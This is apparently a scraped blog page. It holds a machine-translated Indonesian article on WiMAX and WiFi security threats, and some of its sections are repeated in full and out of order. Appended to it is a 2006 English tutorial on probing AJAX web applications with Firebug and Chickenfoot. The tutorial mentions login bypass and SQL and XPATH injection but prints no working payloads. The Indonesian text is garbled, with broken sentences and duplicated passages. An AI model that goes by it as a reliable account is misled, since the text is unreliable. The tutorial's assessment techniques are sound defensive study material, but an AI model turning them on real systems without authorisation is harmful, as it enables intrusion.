Tidak peduli seberapa baik WiMax diimplementasikan protokol dan model keamanan, penyerang akan tetap berusaha untuk mengeksploitasi mereka. Seperti pada hampir setiap lain teknologi berbasis standar, beberapa produk akan memiliki cacat keamanan. Ini tentunya kasus dengan Airspan baru-baru ini WiMAX Authentication Bypass Vulnerability Prost. Celah ini memungkinkan seorang penyerang untuk hanya menyusun permintaan berbahaya, yang dapat memungkinkan akses administratif ke base station. Walaupun kerentanan ini biasanya ditemukan dan ditambal dengan cepat, tantangan dengan adopsi WiMax di seluruh dunia adalah bahwa tidak semua konsumen akan memantau peralatan mereka untuk campur tangan, dan bahkan ketika kerentanan dipublikasikan, banyak yang tidak patch mereka juga.
* Aplikasi-Layer Attacks
Sementara WiMax adalah dimaksudkan untuk berjalan dengan aman, dengan menggunakan enkripsi yang kuat, adalah mungkin untuk menggunakan sebuah solusi tanpa mengaktifkan baik DES atau AES. Ketika data ditransmisikan dalam jelas, itu adalah rentan terhadap sniffing serta serangan terhadap aplikasi, seperti halnya WiFi ini. Kunci untuk mencegah ini adalah bagi administrator untuk mengambil keuntungan dari WiMax built-in kemampuan enkripsi, DES walaupun tidak disarankan karena saat ini mendukung standar 56-bit DES hanya, yang jauh dari aman dari serangan brute force berkat kekuatan CPU modern. AES jauh lebih aman, lebih kuat daripada WPA2 jauh.
Kesimpulan
WiMax adalah teknologi jelas baik dalam perjalanan untuk menjadi diadopsi, setidaknya di Eropa dan Asia. Domestik US roll-out rencana tetap kurang jelas. WiMax jelas menunjukkan janji untuk penggantian nirkabel koneksi DSL tradisional, tetapi konsekuensi logistik dan keamanan belum dapat sepenuhnya dinilai. Dan, sementara WiMAX menawarkan keuntungan yang signifikan sebagai solusi 4G Sprint dan operator lain, pasar jauh dari siap untuk berkumpul menjadi solusi tunggal dalam waktu dekat. Yang jelas adalah bahwa WiMax perbaikan beberapa kerentanan kami datang untuk menerima solusi WiFi.
Sayangnya, itu bukan keamanan perak peluru. Itu masih harus dikonfigurasi dengan tepat dan aman untuk menawarkan tingkat kerahasiaan, integritas, dan ketersediaan yang digunakan untuk konsumen pada komunikasi wired-line. Tantangan-tantangan ini hanya akan diatasi, dan keamanan sejati konsekuensi dari WiMax hanya mengerti, ketika solusi keuntungan yang cukup besar untuk MAN traksi deployment, atau ketika digunakan oleh operator besar.
Versi populer jaringan nirkabel, yang dikenal sebagai WiFi, merevolusi cara-cara yang baik di rumah-kantor kecil dan fasilitas yang lebih besar bekerja, sehingga bandwidth yang sepele untuk memperluas ke bidang-bidang di mana ia tidak praktis atau terlalu mahal untuk menjalankan kabel Ethernet. Untuk sementara seolah-olah langsung ditawarkan deployable WiFi, mudah dikonfigurasi, dan yang paling penting komunikasi mobile kepada massa.
Segera, bagaimanapun, over-the-air sniffer, seperti kismet dan airsnort, memungkinkan penyerang untuk menangkap dan decode data yang dikirim melalui WiFi. Rogue jalur akses - sah sering digunakan oleh pengguna yang mencari akses yang lebih mudah - membuka lubang keamanan perusahaan jauh di dalam 'perusahaan, memungkinkan penyerang untuk sepenuhnya menghindari perlindungan tradisional, seperti firewall dan IDS, dan hanya istirahat di melalui terbuka lebar pintu belakang. Jalur akses penipu ini juga menjadi cara yang berguna bagi penyerang untuk mencuri password, nomor kartu kredit, dan informasi sensitif lainnya.
Tidak butuh waktu lama bagi profesional teknologi informasi untuk menyadari bahwa tanah yang dijanjikan WiFi dipenuhi dengan risiko, kerentanan, dan bahaya-bahaya yang tidak terduga masih menimbulkan tantangan-tantangan keamanan yang signifikan hari ini.
Selain itu, WiFi telah menyebabkan banyak sakit kepala teknis. Jangkauan radius yang efektif, yang juga dikenal sebagai "sel jari-jari," relatif kecil - biasanya beberapa ratus kaki bila digunakan dengan antena Omnidirectional seperti yang ada di laptop khas Anda. WiFi juga memiliki keterbatasan bandwidth yang cukup besar yang membuatnya tidak praktis untuk pengguna kepadatan tinggi lingkungan atau sebagai terakhir mil solusi transport-layer. Selama bertahun-tahun ini tantangan teknis, bersama dengan masalah keamanan, telah dibahas dalam sebagian besar dengan terus-menerus berkembang mengunci standar dan kontrol keamanan di atas WiFi. Contohnya termasuk wired equivalent privacy (WEP) encryption, WiFi Protected Access (WAP) enkripsi, dan 802.1x.
Namun, tanpa menggunakan sangat terarah dan antena besar, WiFi masih belum optimal metropolitan solusi untuk skala besar atau jarak jauh point-to-point link. Ini adalah alasan standar WiMax dan serupa lahir.
Dibandingkan nirkabel WiFi WiMax
Menggunakan Fitur jangka pendek, LAN-sentris jangka panjang, MAN-sentris
Spektrum spektrum tak berlisensi
802.11b / g - 2,4 GHz
802.11n - 2.4 GHz, 5 GHz tanpa izin atau lisensi spektrum antara 2-66 GHz
US: 2.4 GHz
Internasional: 2.3 GHz, 3.5 GHz
Kualitas Layanan Minimal - QoS adalah relatif hanya antara paket / mengalir Guaranteed - QoS terjamin menggunakan algoritma penjadwalan pada lapisan MAC
Sel Footprint <300 meter maksimum
Kebanyakan implementasi sekitar 30 meter Sampai dengan 10 kilometer
Kebanyakan implementasi sekitar 3 km
Bandwidth 802.11b: 11 Mbps max
802.11g: 54 Mbps max
802.11n: minimal 100 MbpsAll bandwidth pada jarak pendek Up to 70 Mbps teoritis maks
Hingga 40 saluran pelanggan khusus
Mengharapkan 15 Mbps pada 3 km jarak
Tabel 1 - Suatu perbandingan khas kinerja WiFi dan WiMax karakteristik
WiMax mengacu pada standar yang dirancang untuk menyediakan bandwidth yang tinggi layanan nirkabel pada wilayah metropolitan skala. Ini menyediakan bandwidth yang jauh lebih besar dibandingkan dengan WiFi, yang memungkinkan pengguna untuk berbagi hingga 70 Mbps pada jarak pendek - meskipun 10 Mbps pada 10 km adalah lebih tipikal - per saluran dalam implementasi tetap. Masing-masing saluran dapat dibagi antara sampai dengan 40 simultan pengguna, menyediakan kecepatan download simetris yang menyaingi koneksi DSL tradisional.
Sementara WiFi telah pindah ke solusi bandwidth tinggi dengan munculnya draft 802.11n spesifikasi, yang menyediakan bandwidth teoritis maksimal sampai 248 Mbps, yang benar WiMax mempertahankan keuntungan di jari-jari sel. Bahkan dengan 802.11n, WiFi biasanya terbatas pada kisaran di bawah 300 meter tanpa peralatan khusus. Sebaliknya, WiMAX menyediakan sel yang jauh lebih besar jari-jari - hingga 3 km di aplikasi tetap - tanpa secara signifikan merendahkan bandwidth yang terseTentu saja, label WiMax sebuah "standar" adalah sesuatu yang keliru. Standar aktual untuk skala MAN nirkabel WiMax adalah solusi yang didasarkan pada adalah IEEE 802.16, yang tidak pernah sepenuhnya diadopsi. Bahkan, WiMax adalah penciptaan WiMax Forum, yang merupakan kelompok yang berafiliasi longgar vendor, pemasok, dan insinyur di seluruh dunia yang berusaha untuk membakukan teknologi broadband nirkabel untuk aplikasi mil terakhir berdasarkan IEEE 802.16e-2005 spesifikasi.
Ketika Anda membeli sebuah "WiMax" produk Anda benar-benar mengadakan suatu IEEE 802.16e-2005 telah memenuhi persyaratan perangkat yang telah diuji dan disertifikasi sebagai dioperasikan oleh WiMax Forum - bukan benar-benar perangkat compliant IEEE 802.16. The WiMAX Forum mempertahankan program sertifikasi yang kaku yang memastikan kesesuaian standar dan interoperabilitas untuk "WiMAX Forum Certified" produk. Hanya empat laboratorium di seluruh dunia disetujui untuk melakukan uji sertifikasi ini: AT4 Wireless, Asosiasi Teknologi Telekomunikasi, Cina Akademi Telekomunikasi Penelitian Penelitian, Data dan Advance Technology Corporation.
Bagaimana WiMAX Bekerja
Di tingkat 65.000 kaki, WiMax tampak sangat seperti IEEE 802.11x tradisional pelaksanaannya. Pelanggan node menggunakan kartu akses jaringan nirkabel tersambung ke base station, yang biasanya dihubungkan ke beberapa jaringan dapat diakses atau Internet.
Perbedaan utama di bawah tenda. Untuk satu, WiMax dirancang dari bawah ke atas untuk memberikan kualitas layanan (QoS) dalam rangka untuk memastikan data minimal yang dapat diandalkan kecepatan dan ketersediaan. Untuk menyediakan QoS, peralatan bersertifikat WiMax dirancang untuk mengimplementasikan suatu algoritma penjadwalan untuk memastikan setiap pelanggan stasiun bersaing untuk akses hanya sekali. Dari saat itu, base station menyediakan sebuah slot waktu yang dialokasikan untuk masing-masing pelanggan yang unik stasiun. Jadwal ini solusi berbasis jauh berbeda dengan WiFi, yang menggunakan contention berbasis skema kontrol akses media di mana semua pelanggan stasiun bersaing untuk stasiun pangkalan yang sama perhatian pada acak, dasar interrupt-driven. Ini adalah salah satu alasan mengapa begitu banyak bandwidth yang bervariasi dengan jarak dari base station dalam implementasi WiFi: pelanggan lebih dekat dengan stasiun pangkalan hanya bisa didengar lebih baik, dan pra-lebih dulu mereka yang berada di kisaran yang lebih jauh. WiMax masih menderita dari degradasi bandwidth lebih dari rentang diperpanjang, tetapi tidak hampir sama secara signifikan. Dimasukkannya QoS membuat aplikasi seperti voice-over-IP (VoIP) jauh lebih mudah diterapkan, karena bandwidth yang relatif konstan dan QoS dapat diasumsikan pada kisaran tertentu.
Penggunaan spektrum secara signifikan berbeda dalam aplikasi WiMAX jika dibandingkan dengan WiFi. 802,16 spesifikasi IEEE mendukung kedua 2-ke-11 GHz dan 10-ke-66 GHz rentang. Frekuensi yang lebih rendah biasanya memberikan rentang yang lebih besar dalam jenis lingkungan perkotaan WiMax adalah target, maka rentang frekuensi 66 GHz di atas tidak pernah dianggap cocok untuk IEEE 802.16 atau implementasi WiMax. Juga, karena IEEE 802.16 masih dalam konsep, tidak ada lisensi spektrum global saat ini. The WiMax Forum, dalam upaya untuk memastikan interoperabilitas, memiliki lisensi tiga spektrum profil: 2,3 GHz, 2,5 GHz, dan 3,5 GHz. Di Amerika Serikat, implementasi yang paling umum diharapkan akan berpusat pada 2.5 GHz. Luar Amerika Serikat, profil spektrum bervariasi dengan spektrum frekuensi radio lisensi didukung oleh unit geopolitik di mana implementasi WiMax dikerahkan.
Dari perspektif keamanan, WiMax kunci menawarkan beberapa keunggulan dibandingkan dengan implementasi WiFi tradisional. WiFi benar-benar merevolusi cara kita memberikan bandwidth untuk pelanggan, terutama yang bergerak, tetapi selalu tidak memiliki fitur keamanan kunci. Kurangnya keamanan ini memungkinkan penyerang untuk mengeksploitasi tanpa ampun pengadopsi awal teknologi dan bahkan hari ini, sebagian besar jalur akses yang tidak aman dan sejumlah besar lewat di lalu lintas yang jelas, sehingga setiap orang yang lewat kasual atau penyerang untuk mengendus informasi sensitif melalui udara.
Lebih buruk lagi, dalam konfigurasi asli, WiFi tidak melaksanakan otentikasi kuat pada base station, memungkinkan penyerang untuk menggunakan jalur akses jahat bahwa mereka kontrol, yang dapat mengumpulkan atau memodifikasi setiap paket melintasi jalur akses. Sementara obat memang ada (seperti WEP dan WPA/WPA2), mereka melesat ke WiFi untuk memperbaiki kerentanan ini.
WiMax ini dikembangkan dari awal dengan keamanan dalam pikiran. Pertama, setiap pelanggan stasiun menggunakan sertifikat X.509 untuk secara unik mengidentifikasi pelanggan. Ini secara efektif mencegah penyerang dari penipuan identitas pelanggan yang sah. Tujuan dalam menerapkan paradigma ini adalah untuk melakukan pencurian-of-layanan lebih sulit. Kedua, WiMax kuat mendukung dua standar enkripsi: DES dan AES. Dalam pelaksanaan yang aman, WiMax dirancang untuk menggunakan EAP (atau IEEE 802.1x) untuk otentikasi timbal balik yang kuat dan dapat mengaktifkan link RSA untuk data enkripsi, meskipun hal ini membutuhkan hardware tambahan dalam perusahaan (a RADIUS server, dll) ditambah dengan penggunaan of WiMax.
Potensi WiMax Aplikasi
Awalnya direncanakan sebagai alternatif untuk tetap nirkabel, jaringan skala MAN, WiMax sekarang sedang dipertimbangkan untuk berbagai aplikasi, mulai dari mil terakhir konektivitas untuk pengganti 802.11x jaringan mesh. Berkat komitmen vendor yang diusulkan IEEE 802.16x-2005 mobile standar (dianggap "WiMax kompatibel"), teknologi WiMax didorong untuk ponsel dan laptop. Intel pada khususnya telah membuat besar mendorong adopsi WiMax awal, tetapi lebih dari 30 perusahaan menyediakan WiMAX Forum Certified tetap penerapan teknologi. el, untuk digunakan dalam jaringan area metropolitan (MAN) dan sebagai dasar-dasar jaringan selular 4G.
Tentu saja, label WiMax sebuah "standar" adalah sesuatu yang keliru. Standar aktual untuk skala MAN nirkabel WiMax adalah solusi yang didasarkan pada adalah IEEE 802.16, yang tidak pernah sepenuhnya diadopsi. Bahkan, WiMax adalah penciptaan WiMax Forum, yang merupakan kelompok yang berafiliasi longgar vendor, pemasok, dan insinyur di seluruh dunia yang berusaha untuk membakukan teknologi broadband nirkabel untuk aplikasi mil terakhir berdasarkan IEEE 802.16e-2005 spesifikasi.
Ketika Anda membeli sebuah "WiMax" produk Anda benar-benar mengadakan suatu IEEE 802.16e-2005 telah memenuhi persyaratan perangkat yang telah diuji dan disertifikasi sebagai dioperasikan oleh WiMax Forum - bukan benar-benar perangkat compliant IEEE 802.16. The WiMAX Forum mempertahankan program sertifikasi yang kaku yang memastikan kesesuaian standar dan interoperabilitas untuk "WiMAX Forum Certified" produk. Hanya empat laboratorium di seluruh dunia disetujui untuk melakukan uji sertifikasi ini: AT4 Wireless, Asosiasi Teknologi Telekomunikasi, Cina Akademi Telekomunikasi Penelitian Penelitian, Data dan Advance Technology Corporation.
Bagaimana WiMAX Bekerja
Di tingkat 65.000 kaki, WiMax tampak sangat seperti IEEE 802.11x tradisional pelaksanaannya. Pelanggan node menggunakan kartu akses jaringan nirkabel tersambung ke base station, yang biasanya dihubungkan ke beberapa jaringan dapat diakses atau Internet.
Perbedaan utama di bawah tenda. Untuk satu, WiMax dirancang dari bawah ke atas untuk memberikan kualitas layanan (QoS) dalam rangka untuk memastikan data minimal yang dapat diandalkan kecepatan dan ketersediaan. Untuk menyediakan QoS, peralatan bersertifikat WiMax dirancang untuk mengimplementasikan suatu algoritma penjadwalan untuk memastikan setiap pelanggan stasiun bersaing untuk akses hanya sekali. Dari saat itu, base station menyediakan sebuah slot waktu yang dialokasikan untuk masing-masing pelanggan yang unik stasiun. Jadwal ini solusi berbasis jauh berbeda dengan WiFi, yang menggunakan contention berbasis skema kontrol akses media di mana semua pelanggan stasiun bersaing untuk stasiun pangkalan yang sama perhatian pada acak, dasar interrupt-driven. Ini adalah salah satu alasan mengapa begitu banyak bandwidth yang bervariasi dengan jarak dari base station dalam implementasi WiFi: pelanggan lebih dekat dengan stasiun pangkalan hanya bisa didengar lebih baik, dan pra-lebih dulu mereka yang berada di kisaran yang lebih jauh. WiMax masih menderita dari degradasi bandwidth lebih dari rentang diperpanjang, tetapi tidak hampir sama secara signifikan. Dimasukkannya QoS membuat aplikasi seperti voice-over-IP (VoIP) jauh lebih mudah diterapkan, karena bandwidth yang relatif konstan dan QoS dapat diasumsikan pada kisaran tertentu.
Penggunaan spektrum secara signifikan berbeda dalam aplikasi WiMAX jika dibandingkan dengan WiFi. 802,16 spesifikasi IEEE mendukung kedua 2-ke-11 GHz dan 10-ke-66 GHz rentang. Frekuensi yang lebih rendah biasanya memberikan rentang yang lebih besar dalam jenis lingkungan perkotaan WiMax adalah target, maka rentang frekuensi 66 GHz di atas tidak pernah dianggap cocok untuk IEEE 802.16 atau implementasi WiMax. Juga, karena IEEE 802.16 masih dalam konsep, tidak ada lisensi spektrum global saat ini. The WiMax Forum, dalam upaya untuk memastikan interoperabilitas, memiliki lisensi tiga spektrum profil: 2,3 GHz, 2,5 GHz, dan 3,5 GHz. Di Amerika Serikat, implementasi yang paling umum diharapkan akan berpusat pada 2.5 GHz. Luar Amerika Serikat, profil spektrum bervariasi dengan spektrum frekuensi radio lisensi didukung oleh unit geopolitik di mana implementasi WiMax dikerahkan.
Dari perspektif keamanan, WiMax kunci menawarkan beberapa keunggulan dibandingkan dengan implementasi WiFi tradisional. WiFi benar-benar merevolusi cara kita memberikan bandwidth untuk pelanggan, terutama yang bergerak, tetapi selalu tidak memiliki fitur keamanan kunci. Kurangnya keamanan ini memungkinkan penyerang untuk mengeksploitasi tanpa ampun pengadopsi awal teknologi dan bahkan hari ini, sebagian besar jalur akses yang tidak aman dan sejumlah besar lewat di lalu lintas yang jelas, sehingga setiap orang yang lewat kasual atau penyerang untuk mengendus informasi sensitif melalui udara.
Lebih buruk lagi, dalam konfigurasi asli, WiFi tidak melaksanakan otentikasi kuat pada base station, memungkinkan penyerang untuk menggunakan jalur akses jahat bahwa mereka kontrol, yang dapat mengumpulkan atau memodifikasi setiap paket melintasi jalur akses. Sementara obat memang ada (seperti WEP dan WPA/WPA2), mereka melesat ke WiFi untuk memperbaiki kerentanan ini.
WiMax ini dikembangkan dari awal dengan keamanan dalam pikiran. Pertama, setiap pelanggan stasiun menggunakan sertifikat X.509 untuk secara unik mengidentifikasi pelanggan. Ini secara efektif mencegah penyerang dari penipuan identitas pelanggan yang sah. Tujuan dalam menerapkan paradigma ini adalah untuk melakukan pencurian-of-layanan lebih sulit. Kedua, WiMax kuat mendukung dua standar enkripsi: DES dan AES. Dalam pelaksanaan yang aman, WiMax dirancang untuk menggunakan EAP (atau IEEE 802.1x) untuk otentikasi timbal balik yang kuat dan dapat mengaktifkan link RSA untuk data enkripsi, meskipun hal ini membutuhkan hardware tambahan dalam perusahaan (a RADIUS server, dll) ditambah dengan penggunaan of WiMax.
Potensi WiMax Aplikasi
Awalnya direncanakan sebagai alternatif untuk tetap nirkabel, jaringan skala MAN, WiMax sekarang sedang dipertimbangkan untuk berbagai aplikasi, mulai dari mil terakhir konektivitas untuk pengganti 802.11x jaringan mesh. Berkat komitmen vendor yang diusulkan IEEE 802.16x-2005 mobile standar (dianggap "WiMax kompatibel"), teknologi WiMax didorong untuk ponsel dan laptop. Intel pada khususnya telah membuat besar mendorong adopsi WiMax awal, tetapi lebih dari 30 perusahaan menyediakan WiMAX Forum Certified tetap penerapan teknologi.
Pada awal 2008, WiMAX Forum mengumumkan ketersediaan pertama WiMAX Forum Certified perangkat mobile, terutama dalam kisaran 2,3 GHz, yang digunakan secara internasional. Sertifikasi produk di band 2.5 GHz untuk penggunaan US diharapkan nantinya musim panas ini. Sementara WiMax adalah hanya mendapatkan traksi di AS, ada ratusan penyebaran utama di seluruh dunia, terutama di Asia. Beberapa aplikasi yang lebih menarik sampai saat ini meliputi:
* Potensi 4G Solusi
Pembawa sedang menyelidiki nirkabel WiMax sebagai alternatif teknologi 3G/3.5G saat ini, seperti EVDO dan HSPDA. Di AS, Sprint telah membuat komitmen besar untuk WiMax sebagai bagian inti dari strategi 4G mereka. Dari perspektif bandwidth mentah, WiMax pembawa hampir 2.5x menawarkan kecepatan HSPDA, umumnya diakui sebagai teknologi 3.5G tercepat saat ini di pasar. Dengan membangun jaringan suara di atas yang stabil, ketersediaan tinggi, bandwidth yang tinggi sambungan data nirkabel daripada mengais-ngais data dari bandwidth biasanya disediakan untuk suara, carrier akan membuka berbagai berbasis lokasi, interaktif, Web layanan yang diaktifkan saat ini tidak mungkin mengerahkan.
* Transport Technology untuk Mobile Solusi
T-Mobile telah menggunakan 802.16d/WiFi hibrida solusi untuk menyediakan bandwidth dengan jalur kereta api komuter di Inggris sejak tahun 2005. BTS 802.16d lapisan menyediakan transportasi 802,11 solusi untuk jalur akses dalam gerbong kereta itu sendiri, dan pelanggan terhubung menggunakan T-Mobile hotspot ada teknologi. Meskipun pelaksanaan ini didasarkan pada spesifikasi 802.16d yang lebih tua, bukan pada teknologi WiMax Forum bersertifikat, hal ini menunjukkan bagaimana sel luas tapak WiMAX dapat digunakan untuk menyediakan bandwidth untuk pelanggan mobile secara cepat dan mudah tanpa memaksa mereka untuk mengadopsi penghalang technologyóalways baru untuk perkembangan standar nirkabel baru.
* WiBro
Pada tahun 2005, Korea Selatan membuat komitmen besar untuk IEEE 802.16b dengan pengembangan WiBro, yang kemudian di-upgrade ke 802.16e IEEE penuh kepatuhan. Mulai tahun 2006, WiBro solusi digulung banyak keluar di Korea Selatan, dan sekarang liputan ada di kebanyakan kota besar, termasuk Seoul, di mana bahkan kereta bawah tanah telah konektivitas. Walaupun belum menjadi solusi WiMAX bersertifikat, ini tetap menjadi salah satu yang terbesar roll-out to-date.
Masalah Keamanan dan Potensi Vulnerabilities
WiMax model keamanan yang berfokus terutama pada pencurian-of-layanan dan pencurian-of-data ancaman vektor. WiMax mengimplementasikan perlindungan dalam lapisan kontrol akses media, dengan lapisan sub keamanan yang melaksanakan menyediakan otentikasi dan enkripsi data kait. Sementara ini mungkin adalah dua kekhawatiran paling umum mencegah penyebaran RF berbasis sebuah solusi konektivitas dalam misi-peran penting, mereka hampir tidak semua-inklusif. Bahkan, WiMax menawarkan sejumlah besar teoretis kerentanan, beberapa di antaranya baru mulai diperlihatkan di alam bebas:
* Man-In-The-Tengah
WiMax mengimplementasikan sebuah skema otentikasi searah menggunakan sertifikat X.509 dari pelanggan ke stasiun pangkalan antena, tetapi tidak ada ketentuan bagi stasiun pangkalan untuk otentikasi pelanggan sebagai balasannya. Hal ini akan membuka potensi kerentanan untuk BTS nakal untuk mencoba penyamaran perangkat yang sah. Penyerang dapat dengan mudah mencegat pelanggan inisiasi spoof permintaan dan tanggapan, wewenang mereka untuk menggunakan jalur akses jahat. Sejak WiMax memiliki begitu banyak jari-jari sel lebih besar daripada WiFi, ini adalah ancaman yang lebih parah dari itu akan di implementasi WiFi tradisional, setidaknya dari perspektif respons insiden. Menggunakan otentikasi timbal balik yang kuat melalui IEEE 802.1x dan server RADIUS akan mengurangi risiko ini secara signifikan, meskipun penting untuk diingat bahwa setiap penanggulangan keamanan ditambahkan pada perusahaan dapat memperkenalkan sumber kerentanan tambahan jika tidak dikelola dengan hati-hati. Misalnya, penggelaran solusi otentikasi 802.1x membuka jendela kerentanan terhadap EAP injeksi, spoofing, dan memainkan serangan yang dipahami dengan baik dan dipublikasikan.
* Denial of Service
Selain layer MAC kerentanan, WiMax bisa menderita dari kerentanan potensial lapisan fisik juga. Pertama, WiMax menggunakan bingkai manajemen, mirip dengan yang digunakan dalam WiFi, tetapi kriptografi mengimplementasikan WiMax perlindungan untuk mencegah sebagian besar serangan spoofing. Namun, WiMax adalah replay rentan terhadap serangan berbasis membanjiri jaringan dengan bingkai penuh bajingan, efektif menciptakan serangan denial of service. Banyak WiMax pengadopsi juga prihatin tentang kemacetan atau berebut serangan, di mana seorang penyerang upaya untuk memanipulasi sinyal RF untuk mengganggu koneksi. Bahkan gangguan elektromagnetik sedang diawasi dengan ketat untuk menentukan apakah itu berdampak buruk terhadap keandalan dan ketersediaan.
* Base Station Attacks
Tidak peduli seberapa baik WiMax diimplementasikan protokol dan model keamanan, penyerang akan tetap berusaha untuk mengeksploitasi mereka. Seperti pada hampir setiap lain teknologi berbasis standar, beberapa produk akan memiliki cacat keamanan. Ini tentunya kasus dengan Airspan baru-baru ini WiMAX Authentication Bypass Vulnerability Prost. Celah ini memungkinkan seorang penyerang untuk hanya menyusun permintaan berbahaya, yang dapat memungkinkan akses administratif ke base station. Walaupun kerentanan ini biasanya ditemukan dan ditambal dengan cepat, tantangan dengan adopsi WiMax di seluruh dunia adalah bahwa tidak semua konsumen akan memantau peralatan mereka untuk campur tangan, dan bahkan ketika kerentanan dipublikasikan, banyak yang tidak patch mereka juga.
* Aplikasi-Layer Attacks
Sementara WiMax adalah dimaksudkan untuk berjalan dengan aman, dengan menggunakan enkripsi yang kuat, adalah mungkin untuk menggunakan sebuah solusi tanpa mengaktifkan baik DES atau AES. Ketika data ditransmisikan dalam jelas, itu adalah rentan terhadap sniffing serta serangan terhadap aplikasi, seperti halnya WiFi ini. Kunci untuk mencegah ini adalah bagi administrator untuk mengambil keuntungan dari WiMax built-in kemampuan enkripsi, DES walaupun tidak disarankan karena saat ini mendukung standar 56-bit DES hanya, yang jauh dari aman dari serangan brute force berkat kekuatan CPU modern. AES jauh lebih aman, lebih kuat daripada WPA2 jauh.
Kesimpulan
WiMax adalah teknologi jelas baik dalam perjalanan untuk menjadi diadopsi, setidaknya di Eropa dan Asia. Domestik US roll-out rencana tetap kurang jelas. WiMax jelas menunjukkan janji untuk penggantian nirkabel koneksi DSL tradisional, tetapi konsekuensi logistik dan keamanan belum dapat sepenuhnya dinilai. Dan, sementara WiMAX menawarkan keuntungan yang signifikan sebagai solusi 4G Sprint dan operator lain, pasar jauh dari siap untuk berkumpul menjadi solusi tunggal dalam waktu dekat. Yang jelas adalah bahwa WiMax perbaikan beberapa kerentanan kami datang untuk menerima solusi WiFi.
Sayangnya, itu bukan keamanan perak peluru. Itu masih harus dikonfigurasi dengan tepat dan aman untuk menawarkan tingkat kerahasiaan, integritas, dan ketersediaan yang digunakan untuk konsumen pada komunikasi wired-line. Tantangan-tantangan ini hanya akan diatasi, dan keamanan sejati konsekuensi dari WiMax hanya mengerti, ketika solusi keuntungan yang cukup besar untuk MAN traksi deployment, atau ketika digunakan oleh operator besar.
Selasa, 24 November 2009
Hacking Web 2.0 Applications with Firefox
Hacking Web 2.0 Applications with Firefox
2006-10-11
New worms such as Yamanner, Samy and Spaceflash are exploiting “client-side” AJAX frameworks, providing new avenues of attack and compromising confidential information.
Figure 1. Web 2.0 architecture layout.As shown in Figure 1, the browser processes on the left can be divided into the following layers:
http://example.com/news.aspx
The page in the browser would resemble the screenshot illustrated below in Figure 2.
Figure 2. A simple news portal page.Being a web 2.0 application, Ajax calls are made to the server using an XHR object. We can determine these calls by using a tool known as Firebug [ref 3]. Firebug is a plug-in to the Firefox browser and has the ability to identify XHR object calls.
Prior to browsing a page with the plugin, ensure the option to intercept XHR calls is selected, as shown in Figure 3.
Figure 3. Setting Firebug to intercept XMLHttpRequest calls.With the Firebug option to intercept XMLHttpRequest calls enabled, we browse the same page to discover all XHR object calls made by this particular page to the server. This exchange is shown in Figure 4.
Figure 4. Capturing Ajax calls.We can see several requests made by the browser using XHR. It has loaded the dojo AJAX framework from the server while simultaneously making a call to a resource on the server to fetch news articles.
http://example.com/ getnews.aspx?date=09262006
If we closely look at the code, we can see following function in JavaScript:
The preceding code makes an asynchronous call to the backend web server and asks for the resource
By analyzing the application in this format, we can identify vulnerable internal URLs, querystrings and POST requests as well. For example, again using the above case, the parameter “date” is vulnerable to an SQL injection attack.
The “go1” link when clicked will execute the getMe() function. The code for getMe() function is as shown below. Note that this function may be implemented in a completely separate file.
The preceding code makes a simple Ajax call to the
Is it possible to simulate this click using automation? Yes! Here is one approach using the Firefox plug-in Chickenfoot [ref 4] that provides JavaScript-based APIs and extends the programmable interface to the browser.
By using the Chickenfoot plugin, you can write simple JavaScript to automate browser behavior. With this methodology, simple tasks such as crawling web pages can be automated with ease. For example, the following simple script will “click” all anchors with
You can load this script in the Chickenfoot console and run it as shown in Figure 5.
Figure 5. Simulating onClick AJAX call with chickenfoot.This way, one can create JavaScript and assess AJAX-based applications from within the Firefox browser. There are several API calls [ref 5] that can be used in the chickenfoot plugin. A useful one is the “fetch” command to build a crawling utility.
Let’s take a simple example of a login process. The
Figure 6. Form property inspection with Firebug.After inspecting the form property, it is clear that a call is made to the “auth” function. We can now go to the debugger feature of Firebug as illustrated in Figure 7 and isolate internal logic for a particular event.
Figure 7. Debugging with Firebug.All JavaScript dependencies of this particular page can be viewed. Calls are made to the ajaxlib.js and validation.js scripts. These two scripts must have several functions. It can be deduced that the login process utilizes some of these functions. We can use a “breakpoint” to step through the entire application. Once a breakpoint is set, we can input credential information, click the “Submit” button and control the execution process. In our example, we have set a breakpoint in the “auth” function as shown in Figure 8.
Figure 8. Setting a breakpoint and controlling execution process.We now step through the debugging process by clicking the “step in” button, which was highlighted in Figure 8. JavaScript execution moves to another function,
Figure 9. Moving to validation.js script page.The preceding screenshot shows the regular expression pattern used to validate the username field. Once validation is done execution moves to another function
Figure 10. Making an Ajax call.Finally, at the end of the execution sequence, we can observe the call to backend web services as being made by the XHR object. This is shown in Figure 11.
Figure 11. Web services call on the Firebug console.Here we have identified the resource location for the backend web services:
http://example.com/2/auth/ws/login.asmx/getSecurityToken?username=amish&password=amish
The preceding resource is clearly some web services running under the .NET framework. This entire dissection process has thrown up an interesting detail: we've found a user validation routine that can be bypassed very easily. It is a potential security threat to the web application.
Taking our assessment further, we can now access the web service and its endpoints by using a WSDL file and directly bruteforce the service. We can launch several different injection attacks - SQL or XPATH - with tools such as wsChess [ref 7].
In this particular case, the application is vulnerable to an XPATH injection. The methodology for web services assessment overall is different and is outside the scope of this article. However this walkthrough technique helps identify several client-side attacks such as XSS, DOM manipulation attacks, client-side security control bypassing, malicious Ajax code execution, and so on.
Next generation applications use JavaScript extensively. Smooth debugging tools are our knights in shining armor. The overall techniques covered in this article is a good starting point for web 2.0 assessments using Firefox.
http://www.securityfocus.com/infocus/1868
[ref 2] XHR Object specification, http://www.w3.org/TR/XMLHttpRequest/
[ref 3] Firebug download, https://addons.mozilla.org/firefox/1843/; Firebug usage, http://www.joehewitt.com/software/firebug/docs.php
[ref 4] Chickenfoot quick start, http://groups.csail.mit.edu/uid/chickenfoot/quickstart.html
[ref 5] Chickenfoot API reference - http://groups.csail.mit.edu/uid/chickenfoot/api.html
[ref 6] Venkman walkthrough, http://www.mozilla.org/projects/venkman/venkman-walkthrough.html
[ref 7] wsChess, http://net-square.com/wschess
2006-10-11
Introduction
AJAX and interactive web services form the backbone of “web 2.0” applications. This technological transformation brings about new challenges for security professionals. This article looks at some of the methods, tools and tricks to dissect web 2.0 applications (including Ajax) and discover security holes using Firefox and its plugins. The key learning objectives of this article are to understand the:- web 2.0 application architecture and its security concerns.
- hacking challenges such as discovering hidden calls, crawling issues, and Ajax side logic discovery.
- discovery of XHR calls with the Firebug tool.
- simulation of browser event automation with the Chickenfoot plugin.
- debugging of applications from a security standpoint, using the Firebug debugger.
- methodical approach to vulnerability detection.
Web 2.0 application overview
